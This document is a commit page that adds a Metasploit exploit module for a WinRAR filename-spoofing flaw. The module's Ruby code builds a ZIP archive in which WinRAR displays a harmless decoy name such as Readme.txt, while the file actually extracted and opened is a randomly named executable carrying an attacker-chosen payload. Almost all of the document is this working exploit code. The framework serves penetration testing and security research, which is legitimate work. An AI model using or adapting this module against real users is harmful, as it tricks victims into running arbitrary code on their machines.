Add module for WinRAR spoofing vulnerability

bug/bundler_fix
jvazquez-r7 2014-04-07 09:21:49 -05:00
parent 80b069f161
commit 56bd35c8ce
1 changed files with 72 additions and 0 deletions

View File

@ -0,0 +1,72 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/zip'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'WinRAR Filename Spoofing',
'Description' => %q{
This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists
when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from
the central directory, but the file names used to extract and open contents come from the
Local File Header. This inconsistency allows to spoof file names when opening ZIP files
with WiRAR, which can be abused to execute arbitrary code, like exploited in the wild in
March 2014
},
'License' => MSF_LICENSE,
'Author' =>
[
'chr1x', # Vulnerability discoverer according to OSVDB
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '62610' ],
[ 'BID', '66383' ],
[ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'],
[ 'URL', 'http://an7isec.blogspot.co.il/']
],
'Platform' => [ 'win' ],
'Payload' =>
{
'DisableNops' => true,
'Space' => 4096
},
'Targets' =>
[
[ 'Windows Universal', {} ]
],
'DisclosureDate' => 'Sep 28 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']),
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
], self.class)
end
def exploit
exe_filename = rand_text_alpha(rand(6) + 1)
exe_filename << ".exe"
zip = Rex::Zip::Archive.new
zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF'])
pack = zip.pack
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(pack)
end
end